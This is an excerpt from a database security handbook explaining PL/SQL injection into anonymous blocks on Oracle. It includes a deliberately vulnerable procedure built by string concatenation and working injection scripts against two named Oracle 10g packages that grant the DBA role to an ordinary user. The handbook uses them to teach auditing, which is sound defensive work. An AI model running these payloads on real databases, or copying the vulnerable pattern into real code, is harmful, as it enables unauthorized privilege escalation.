Injecting into Anonymous PLSQL Blocks

Injecting into Anonymous PL/SQL Blocks

Although an anonymous PL/SQL block, by definition, is not associated with any procedure or function, stored PL/SQL programs can execute anonymous PL/SQL from within their code. For example, consider the following:

 CREATE OR REPLACE PROCEDURE ANON_BLOCK(P_BUF VARCHAR2) AS STMT VARCHAR2(200); BEGIN       STMT:= 'BEGIN '              'DBMS_OUTPUT.PUT_LINE('''  P_BUF  ''');'              'END;';       EXECUTE IMMEDIATE STMT; END; Executing this procedure as follows EXEC ANON_BLOCK('FOOBAR'); returns FOOBAR PL/SQL procedure successfully completed. 

If an attacker can inject into anonymous PL/SQL blocks, as can be done with this ANON_BLOCK procedure, then the attacker pretty much can do whatever he likes constrained only by the privileges of the definer. Assuming this ANON_BLOCK procedure was defined by the SYS user , an attacker could inject into this a GRANT statement to become a DBA.

 EXEC ANON_BLOCK('F''); EXECUTE IMMEDIATE ''GRANT DBA TO SCOTT''; END; --'); 

This changes the original anonymous PL/SQL block from

 BEGIN DBMS_OUTPUT.PUT_LINE('F'); END; to BEGIN DBMS_OUTPUT.PUT_LINE('F'); EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; END; --');END; 

Once executed SCOTT has been granted the DBA role and by issuing

 SET ROLE DBA 

SCOTT takes on the full privileges of a DBA and all that that entails.

Real-World Examples

Although this ANON_BLOCK is a fairly contrived example, this does happen in the "real world." In Oracle 10g, for example, PUBLIC can execute the GET_DOMAIN_INDEX_METADATA procedure of the DBMS_EXPORT_EXTENSION package owned by SYS. This package has not been defined using the AUTHID CURRENT_USER keyword and as such runs with the full privileges of SYS. This procedure executes an anonymous PL/SQL block and it can be injected into.

 DECLARE NB PLS_INTEGER; BUF VARCHAR2(2000); BEGIN BUF:=  SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA('FOO','SCH','FOO','EXFSYS"."E XPRESSIONINDEXMETHODS".ODCIIndexGetMetadata(oindexinfo,:p3,:p4,ENV);  EXCEPTION WHEN OTHERS THEN EXECUTE IMMEDIATE ''GRANT DBA TO SCOTT'';END; --','VER',NB,1); END; / 

This script will inject into the procedure and grant the DBA role to SCOTT. The actual grant is placed in an exception block because the query returns "no data". By capturing all exceptions with the WHEN OTHERS keyword, when the "no data" exception occurs it is caught and the EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT' is fired off.

Another example is the GET_ACL procedure of the WK_ACL package owned by WKSYS on Oracle 10g. This procedure takes as its third parameter a varchar2 value. This value is then inserted into an anonymous PL/SQL block within the procedure to do a select from a remote database link. By inserting our own SQL into this parameter we can elevate to DBA. For example, consider the following script:

 DECLARE FOO RAW(2000); BAR CLOB; BEGIN WKSYS.WK_ACL.GET_ACL(FOO,BAR,'"AAA" WHERE ACL_ID=:1;:2:=:2; EXCEPTION WHEN OTHERS THEN SCOTT.ADD_DBA(); END;--'); END; / 

The third parameter to GET_ACL is '"AAA" WHERE ACL_ID=:1;:2:=:2; EXCEPTION WHEN OTHERS THEN SCOTT.ADD_DBA(); END;--'. Here the "AAA" is a database link. We have to add "WHERE ACL_ID=:1;:2:=:2" to avoid "bind variable not present" errors. We then set up an exception block:

 EXCEPTION WHEN OTHERS THEN SCOTT.ADD_DBA(); 

When an exception occursfor example "no data" is returnedthe SCOTT.ADD_DBA procedure is executed. SCOTT creates this procedure as follows:

 CREATE OR REPLACE PROCEDURE ADD_DBA AUTHID CURRENT_USER AS BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; END; / 

If data is returned there's no need for the exception block so '"AAA" WHERE ACL_D=:1;:2:=:2; SCOTT.ADD_DBA();END;--' as the third parameter will do. The only constraint is that the "AAA" database link must exist and either be public or owned by WKSYS.

Along with directly executing user-supplied queries using DBMS_SQL, injecting into an anonymous PL/SQL block is by far the most dangerous form of PL/SQL injection. Reiterating, audit the code of your PL/SQL programs to find such vulnerabilities and address them. See the section on writing secure PL/SQL.



Database Hacker's Handbook. Defending Database Servers
The Database Hackers Handbook: Defending Database Servers
ISBN: 0764578014
EAN: 2147483647
Year: 2003
Pages: 156

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net